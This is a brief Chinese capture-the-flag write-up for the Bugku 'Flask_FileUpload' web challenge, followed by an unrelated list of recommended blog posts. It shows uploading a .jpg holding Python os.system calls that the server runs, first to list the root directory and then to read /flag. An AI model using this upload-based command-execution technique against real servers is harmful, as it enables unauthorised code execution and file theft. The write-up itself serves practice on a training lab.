Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
NutShell Wang13 小时前
每帧重建整条路径、每秒倾倒 48MB 给 GC:实时折线图渲染架构的实测复盘
前端·性能优化·架构·图形渲染·数据可视化·vibe coding
小彤花园13 小时前
和 AI 结对写网站:从 JSON 到一整个工具集
前端·人工智能·程序员
RD_daoyi13 小时前
Google核心算法不再通知!全年持续滚动更新
大数据·服务器·前端·网络·搜索引擎·.net
এ慕ོ冬℘゜13 小时前
纯 CSS 实现自定义 Switch 开关(商品上下架滑块)
前端·css
再吃一根胡萝卜13 小时前
dompdf.js 分页功能完整实现指南
前端
wordbaby13 小时前
App 热更新(OTA)原理深解 —— 以 React Native 为例
前端·react native
卷无止境14 小时前
拯救乱码方块:pandas 绘图中文字体的一揽子解决方案
后端·python
再吃一根胡萝卜14 小时前
Vue + dompdf.js 实现简历分页导出的完整踩坑记录
前端
李昊哲小课14 小时前
fastapi sse websocket 智能家居实时控制台
python·websocket·智能家居·fastapi·sse
其美杰布-富贵-李14 小时前
第 6 篇:相机与 OrbitControls
前端·javascript·three.js